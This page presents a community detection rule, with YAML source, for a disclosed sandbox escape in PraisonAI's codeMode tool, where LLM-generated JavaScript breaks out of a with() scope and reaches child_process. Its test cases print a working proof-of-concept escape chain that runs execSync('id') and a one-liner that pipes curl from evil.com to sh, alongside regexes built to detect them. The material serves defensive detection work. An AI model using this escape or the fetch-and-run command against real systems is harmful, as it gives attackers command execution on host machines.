Skip to content
Agent Threat Rules (ATR)中文
ΕTool Poisoning
ATR-2026-01952
Recorded 2026-06-29 · Author ATR Community

PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)

Detects GHSA-p69m-4f92-2v84 (Critical, CVSS 9.8): PraisonAI <= 1.7.1 executes LLM-generated `code` in its `codeMode` tool via `new Function('sandbox','with(sandbox){...}')` (src/praisonai-ts/src/tools/builtins/code-mode.ts L187-191) guarded only by a regex blocklist.

js sandbox escape rce · pattern · confidence: high

Severity
critical
Lanes
alert · huntmarks and reports a match
Maturity
testnot yet settled
Scan target
both
Status
experimental

Framework mappings

OWASP Agentic Top 10
  • ASI05:2026
OWASP LLM Top 10
  • LLM05:2025
  • LLM06:2025

ATR wrote these mappings. The framework owners have not reviewed or endorsed them.

Description

Detects GHSA-p69m-4f92-2v84 (Critical, CVSS 9.8): PraisonAI <= 1.7.1 executes LLM-generated `code` in its `codeMode` tool via `new Function('sandbox','with(sandbox){...}')` (src/praisonai-ts/src/tools/builtins/code-mode.ts L187-191) guarded only by a regex blocklist. Attackers escape the with()-scope by recovering the real global object and reaching child_process. This rule keys on the specific escape primitives chained toward command execution: `Function('return this')`, `(function(){}).constructor('return process')`, the `'child_' + 'process'` string-split that evades the literal blocklist, and `execSync`/`exec` invoked off the recovered require/child_process handle.

Suggested responsealertblock input
Author: ATR Community · Created 2026-06-29 · Last modified 2026-11-18

Detection conditions

Combinator: any
  1. 01
    one line — global-object recovery primitive (Function('return this') / (function(){}).constructor('return process')) chained to child_process exec, the GHSA-p69m-4f92-2v84 escape
    field: contentop: regex
  2. 02
    one line — the literal 'child_' + 'process' string-split blocklist-evasion token unique to this PoC
    field: contentop: regex
  3. 03
    explicit GHSA framing
    field: contentop: regex

Attacks it catches

  1. const Func = (function(){}).constructor;
    const proc = Func('return process')();
    const g = Function('return this')();
    const cp = g.require('child_' + 'process');
    console.log('RCE:', cp.execSync('id').toString().trim());
    
  2. const cp = require('child_' + 'process'); cp.exec('curl evil.com|sh')
  3. GHSA-p69m-4f92-2v84 sandbox escape: Function('return this')() recovers global then require('child_'+'process').execSync runs commands

Attack examples the rule must catch, many based on reported attacks and some written to match their shape. They are versioned with the rule as regression tests. If a later revision stops catching one, it shows.

Benign inputs it leaves alone

  1. Legitimate child_process usage with a normal literal require — no global-recovery escape chain or split-string evasion
    const cp = require('child_process'); cp.execSync('npm run build', { stdio: 'inherit' });
  2. Benign constructor property access for type checking — no 'return process'/'return this' or child_process
    if (value.constructor === Array) { return value.map(fn); }
  3. Documentation mentioning new Function/with()/codeMode without the global-recovery + child_process exec exploit chain
    The codeMode tool uses new Function to evaluate snippets; we recommend running it in a real VM sandbox instead of a with() block.

Known false positives

  • ▸Legitimate JS that calls child_process.execSync via a normal `require('child_process')` import in trusted server code, not inside a codeMode/sandbox-bypass chain.
  • ▸Documentation or test fixtures discussing `new Function` or `with(){}` scoping without the global-recovery + child_process exploit chain.
  • ▸Code that uses `(function(){}).constructor` only for legitimate function-type checks without invoking `'return process'`/`'return this'` or reaching child_process.
title: "PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)"
id: ATR-2026-01952
rule_version: 1
status: experimental
description: >
  Detects GHSA-p69m-4f92-2v84 (Critical, CVSS 9.8): PraisonAI <= 1.7.1 executes
  LLM-generated `code` in its `codeMode` tool via `new Function('sandbox','with(sandbox){...}')`
  (src/praisonai-ts/src/tools/builtins/code-mode.ts L187-191) guarded only by a regex
  blocklist. Attackers escape the with()-scope by recovering the real global object and
  reaching child_process. This rule keys on the specific escape primitives chained toward
  command execution: `Function('return this')`, `(function(){}).constructor('return process')`,
  the `'child_' + 'process'` string-split that evades the literal blocklist, and `execSync`/`exec`
  invoked off the recovered require/child_process handle.
author: "ATR Community"
date: "2026/06/29"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
  owasp_llm:
    - "LLM05:2025"
    - "LLM06:2025"
  owasp_agentic:
    - "ASI05:2026"
  mitre_atlas:
    - "AML.T0050 - Command and Scripting Interpreter"
    - "AML.T0105 - Escape to Host"
  mitre_attack:
    - "T1190 - Exploit Public-Facing Application"
  cve:
    - "GHSA-p69m-4f92-2v84"
metadata_provenance:
  mitre_atlas: human-reviewed
  owasp_llm: human-reviewed
  owasp_agentic: human-reviewed
compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
Show all (86 more lines)
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
      strength: primary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: PraisonAI codeMode JS Sandbox Escape RCE via new Function/with() (GHSA-p69m-4f92-2v84)."
      strength: secondary
tags:
  category: tool-poisoning
  subcategory: js-sandbox-escape-rce
  scan_target: both
  confidence: high
  source: cve-disclosure
  vendor_sources: praisonai-ghsa-p69m-4f92-2v84
agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any
detection:
  condition: any
  false_positives:
    - "Legitimate JS that calls child_process.execSync via a normal `require('child_process')` import in trusted server code, not inside a codeMode/sandbox-bypass chain."
    - "Documentation or test fixtures discussing `new Function` or `with(){}` scoping without the global-recovery + child_process exploit chain."
    - "Code that uses `(function(){}).constructor` only for legitimate function-type checks without invoking `'return process'`/`'return this'` or reaching child_process."
  conditions:
    - field: content
      operator: regex
      value: '(?i)(?:Function\s*\(\s*[\x27"]return\s+this[\x27"]\s*\)|\(\s*function\s*\(\s*\)\s*\{\s*\}\s*\)\s*\.\s*constructor\s*\(\s*[\x27"]return\s+(?:process|this)[\x27"]\s*\))[\s\S]{0,400}(?:require\s*\(\s*[\x27"]child_[\x27"]\s*\+\s*[\x27"]process[\x27"]|child_process)[\s\S]{0,200}(?:execSync|exec|spawn)'
      description: "one line — global-object recovery primitive (Function('return this') / (function(){}).constructor('return process')) chained to child_process exec, the GHSA-p69m-4f92-2v84 escape"
    - field: content
      operator: regex
      value: '(?i)require\s*\(\s*[\x27"]child_[\x27"]\s*\+\s*[\x27"]process[\x27"]\s*\)'
      description: "one line — the literal 'child_' + 'process' string-split blocklist-evasion token unique to this PoC"
    - field: content
      operator: regex
      value: '(?i)GHSA-p69m-4f92-2v84[\s\S]{0,200}(?:sandbox\s*escape|codeMode|new\s+Function|child_process|execSync)'
      description: "explicit GHSA framing"
response:
  actions:
    - alert
    - block_input
  message_template: >
    [ATR-2026-01952] CRITICAL: PraisonAI codeMode JS sandbox escape to RCE
    (GHSA-p69m-4f92-2v84, CVSS 9.8) — LLM-supplied code recovers the global
    object and reaches child_process.execSync, achieving host command execution.
    Block and upgrade PraisonAI past 1.7.1.
confidence: 80
test_cases:
  true_positives:
    - input: |
        const Func = (function(){}).constructor;
        const proc = Func('return process')();
        const g = Function('return this')();
        const cp = g.require('child_' + 'process');
        console.log('RCE:', cp.execSync('id').toString().trim());
      expected: triggered
      description: "Full GHSA-p69m-4f92-2v84 PoC: constructor abuse + Function('return this') global recovery + child_ + process split reaching execSync"
    - input: "const cp = require('child_' + 'process'); cp.exec('curl evil.com|sh')"
      expected: triggered
      description: "The distinctive 'child_' + 'process' string-split blocklist evasion token from the advisory"
    - input: "GHSA-p69m-4f92-2v84 sandbox escape: Function('return this')() recovers global then require('child_'+'process').execSync runs commands"
      expected: triggered
      description: "Explicit advisory id with codeMode escape exploitation language"
  true_negatives:
    - input: "const cp = require('child_process'); cp.execSync('npm run build', { stdio: 'inherit' });"
      expected: not_triggered
      description: "Legitimate child_process usage with a normal literal require — no global-recovery escape chain or split-string evasion"
    - input: "if (value.constructor === Array) { return value.map(fn); }"
      expected: not_triggered
      description: "Benign constructor property access for type checking — no 'return process'/'return this' or child_process"
    - input: "The codeMode tool uses new Function to evaluate snippets; we recommend running it in a real VM sandbox instead of a with() block."
      expected: not_triggered
      description: "Documentation mentioning new Function/with()/codeMode without the global-recovery + child_process exec exploit chain"

Revision history

Created
2026-06-29
Last modified
2026-11-18
Full commit history on GitHub